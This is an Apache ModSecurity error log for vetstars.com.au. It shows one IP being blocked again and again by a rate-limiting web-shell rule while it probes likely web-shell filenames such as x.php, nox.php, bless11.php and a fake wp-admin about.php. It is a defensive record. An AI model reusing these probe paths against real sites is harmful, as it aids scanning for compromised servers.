[Fri Dec 26 21:20:36.548580 2025] [:error] [pid 34865:tid 34871] [client 52.175.121.6:1221] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU6LpKi4zjVVKBdvuTT3QAAAAUQ"]
[Fri Dec 26 21:20:38.212406 2025] [:error] [pid 7160:tid 7174] [client 52.175.121.6:4314] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU6Lpuw_ihNZR5L8vEWR-wAAAYs"]
[Fri Dec 26 21:20:40.222089 2025] [:error] [pid 28269:tid 28314] [client 52.175.121.6:5195] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU6LqJ3ZK8bJ-c9-kjOMXgAAAEw"]
[Fri Dec 26 21:20:42.763647 2025] [:error] [pid 28269:tid 28315] [client 52.175.121.6:3715] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU6Lqp3ZK8bJ-c9-kjOMYwAAAE0"]
[Fri Dec 26 21:20:43.502755 2025] [:error] [pid 28355:tid 28369] [client 52.175.121.6:5239] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU6Lq7sFqKXf7ADZcTYk4gAAAMw"]
[Fri Dec 26 21:20:44.957500 2025] [:error] [pid 34865:tid 34881] [client 52.175.121.6:3112] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU6LrKi4zjVVKBdvuTT3SAAAAU4"]
[Fri Dec 26 21:20:48.053673 2025] [:error] [pid 28355:tid 28359] [client 52.175.121.6:2741] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU6LsLsFqKXf7ADZcTYk6QAAAMI"]
[Fri Dec 26 21:20:49.682584 2025] [:error] [pid 15063:tid 15079] [client 52.175.121.6:2333] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU6LseDsf_aL46Jy7z8coQAAAQ4"]
[Fri Dec 26 21:20:52.509259 2025] [:error] [pid 15063:tid 15083] [client 52.175.121.6:2744] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU6LtODsf_aL46Jy7z8crwAAARI"]
[Fri Dec 26 21:20:54.964646 2025] [:error] [pid 28355:tid 28367] [client 52.175.121.6:3802] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU6LtrsFqKXf7ADZcTYk9wAAAMo"]
[Fri Dec 26 21:20:56.617687 2025] [:error] [pid 15063:tid 15089] [client 52.175.121.6:6729] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aU6LuODsf_aL46Jy7z8cxAAAARg"]
[Fri Dec 26 21:20:59.766869 2025] [:error] [pid 28268:tid 28293] [client 52.175.121.6:6874] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aU6Lu3c_KuO_55-uPTS9RQAAABI"]
[Fri Dec 26 21:21:03.053998 2025] [:error] [pid 28355:tid 28368] [client 52.175.121.6:2189] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aU6Lv7sFqKXf7ADZcTYlBgAAAMs"]
[Fri Dec 26 21:21:07.892188 2025] [:error] [pid 28268:tid 28297] [client 52.175.121.6:2183] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aU6Lw3c_KuO_55-uPTS9VwAAABY"]
[Fri Dec 26 21:21:08.622687 2025] [:error] [pid 28268:tid 28281] [client 52.175.121.6:5717] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aU6LxHc_KuO_55-uPTS9WQAAAAY"]
[Fri Dec 26 21:21:09.032109 2025] [:error] [pid 7160:tid 7186] [client 52.175.121.6:1663] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aU6Lxew_ihNZR5L8vEWSFAAAAZc"]
[Fri Dec 26 21:21:10.805277 2025] [:error] [pid 15063:tid 15084] [client 52.175.121.6:1028] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aU6LxuDsf_aL46Jy7z8c1gAAARM"]
[Fri Dec 26 21:21:12.370985 2025] [:error] [pid 28269:tid 28311] [client 52.175.121.6:1616] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aU6LyJ3ZK8bJ-c9-kjOMdgAAAEk"]
[Fri Dec 26 21:21:15.470369 2025] [:error] [pid 7160:tid 7184] [client 52.175.121.6:1821] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aU6Ly-w_ihNZR5L8vEWSGwAAAZU"]
[Fri Dec 26 21:21:18.216271 2025] [:error] [pid 34865:tid 34870] [client 52.175.121.6:2047] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aU6Lzqi4zjVVKBdvuTT3agAAAUM"]
[Fri Dec 26 21:21:19.979839 2025] [:error] [pid 7160:tid 7181] [client 52.175.121.6:1825] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aU6Lz-w_ihNZR5L8vEWSKgAAAZI"]
[Fri Dec 26 21:21:21.482071 2025] [:error] [pid 34865:tid 34872] [client 52.175.121.6:3009] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aU6L0ai4zjVVKBdvuTT3cgAAAUU"]
[Fri Dec 26 21:22:08.094462 2025] [:error] [pid 7160:tid 7166] [client 52.175.121.6:2026] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU6MAOw_ihNZR5L8vEWScgAAAYM"]
[Fri Dec 26 21:22:10.511052 2025] [:error] [pid 28270:tid 28332] [client 52.175.121.6:3016] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU6MAl9Ac79_ckdPN5JijwAAAIM"]
[Fri Dec 26 21:22:12.679693 2025] [:error] [pid 28269:tid 28322] [client 52.175.121.6:7198] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU6MBJ3ZK8bJ-c9-kjOM7gAAAFQ"]
[Fri Dec 26 21:22:15.606681 2025] [:error] [pid 28268:tid 28296] [client 52.175.121.6:7253] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU6MB3c_KuO_55-uPTS9mwAAABU"]
[Fri Dec 26 21:22:18.006193 2025] [:error] [pid 34865:tid 34881] [client 52.175.121.6:2221] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aU6MCqi4zjVVKBdvuTT3xQAAAU4"]
[Fri Dec 26 21:22:20.879001 2025] [:error] [pid 7160:tid 7183] [client 52.175.121.6:4044] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aU6MDOw_ihNZR5L8vEWSfgAAAZQ"]
[Fri Dec 26 21:22:22.924140 2025] [:error] [pid 28270:tid 28345] [client 52.175.121.6:1903] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aU6MDl9Ac79_ckdPN5JiogAAAJA"]
[Fri Dec 26 21:22:25.365393 2025] [:error] [pid 28270:tid 28353] [client 52.175.121.6:1901] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aU6MEV9Ac79_ckdPN5JipQAAAJg"]
[Fri Dec 26 21:22:27.268873 2025] [:error] [pid 34865:tid 34869] [client 52.175.121.6:5226] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aU6ME6i4zjVVKBdvuTT30AAAAUI"]
[Fri Dec 26 21:22:30.833385 2025] [:error] [pid 28269:tid 28316] [client 52.175.121.6:7112] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aU6MFp3ZK8bJ-c9-kjONJQAAAE4"]
[Fri Dec 26 21:22:35.273906 2025] [:error] [pid 28268:tid 28284] [client 52.175.121.6:3946] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aU6MG3c_KuO_55-uPTS9tAAAAAk"]
[Fri Dec 26 21:22:37.138964 2025] [:error] [pid 28269:tid 28309] [client 52.175.121.6:6032] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aU6MHZ3ZK8bJ-c9-kjONLQAAAEc"]
[Fri Dec 26 21:22:38.114176 2025] [:error] [pid 15063:tid 15071] [client 52.175.121.6:3360] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aU6MHuDsf_aL46Jy7z8dPwAAAQY"]
[Fri Dec 26 21:22:39.915149 2025] [:error] [pid 7160:tid 7172] [client 52.175.121.6:2257] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aU6MH-w_ihNZR5L8vEWSnwAAAYk"]
[Fri Dec 26 21:22:41.938853 2025] [:error] [pid 28355:tid 28381] [client 52.175.121.6:4230] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aU6MIbsFqKXf7ADZcTYlYAAAANg"]
[Fri Dec 26 21:22:44.684218 2025] [:error] [pid 28269:tid 28326] [client 52.175.121.6:5349] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aU6MJJ3ZK8bJ-c9-kjONPwAAAFg"]
[Fri Dec 26 21:22:47.167590 2025] [:error] [pid 28355:tid 28379] [client 52.175.121.6:3330] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU6MJ7sFqKXf7ADZcTYlZAAAANY"]
[Fri Dec 26 21:22:48.687287 2025] [:error] [pid 28270:tid 28341] [client 52.175.121.6:2882] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU6MKF9Ac79_ckdPN5JiugAAAIw"]
[Fri Dec 26 21:22:51.049414 2025] [:error] [pid 28270:tid 28349] [client 52.175.121.6:5345] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU6MK19Ac79_ckdPN5JiwgAAAJQ"]
[Fri Dec 26 21:22:52.302786 2025] [:error] [pid 28268:tid 28284] [client 52.175.121.6:6989] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU6MLHc_KuO_55-uPTS9wQAAAAk"]
[Fri Dec 26 21:22:53.124966 2025] [:error] [pid 15063:tid 15071] [client 52.175.121.6:5297] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU6MLeDsf_aL46Jy7z8dRwAAAQY"]
[Fri Dec 26 21:22:53.870838 2025] [:error] [pid 28269:tid 28324] [client 52.175.121.6:7010] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU6MLZ3ZK8bJ-c9-kjONUQAAAFY"]
[Fri Dec 26 21:22:57.042082 2025] [:error] [pid 7160:tid 7186] [client 52.175.121.6:5822] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU6MMew_ihNZR5L8vEWSsAAAAZc"]
[Fri Dec 26 21:22:58.067509 2025] [:error] [pid 28268:tid 28287] [client 52.175.121.6:7307] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU6MMnc_KuO_55-uPTS9yAAAAAw"]
[Fri Dec 26 21:22:59.535968 2025] [:error] [pid 34865:tid 34869] [client 52.175.121.6:6542] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aU6MM6i4zjVVKBdvuTT3_AAAAUI"]
[Fri Dec 26 21:23:00.845887 2025] [:error] [pid 7160:tid 7181] [client 52.175.121.6:4479] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aU6MNOw_ihNZR5L8vEWStgAAAZI"]
[Fri Dec 26 21:23:02.117023 2025] [:error] [pid 7160:tid 7172] [client 52.175.121.6:7305] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aU6MNuw_ihNZR5L8vEWSvAAAAYk"]
[Fri Dec 26 21:23:03.477922 2025] [:error] [pid 28355:tid 28374] [client 52.175.121.6:2091] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aU6MN7sFqKXf7ADZcTYlewAAANE"]
[Fri Dec 26 21:23:04.039231 2025] [:error] [pid 28355:tid 28358] [client 52.175.121.6:2989] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aU6MOLsFqKXf7ADZcTYlfAAAAME"]
[Fri Dec 26 21:23:04.933032 2025] [:error] [pid 28268:tid 28295] [client 52.175.121.6:4421] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aU6MOHc_KuO_55-uPTS9zQAAABQ"]
[Fri Dec 26 21:23:52.101347 2025] [:error] [pid 34865:tid 34888] [client 52.175.121.6:4133] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU6MaKi4zjVVKBdvuTT4TwAAAVU"]
[Fri Dec 26 21:23:53.628431 2025] [:error] [pid 28268:tid 28277] [client 52.175.121.6:1101] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU6MaXc_KuO_55-uPTS-MgAAAAI"]
[Fri Dec 26 21:23:55.434199 2025] [:error] [pid 28270:tid 28330] [client 52.175.121.6:5103] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU6Ma19Ac79_ckdPN5JjLAAAAIE"]
[Fri Dec 26 21:23:56.755645 2025] [:error] [pid 28270:tid 28344] [client 52.175.121.6:3528] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU6MbF9Ac79_ckdPN5JjLQAAAI8"]
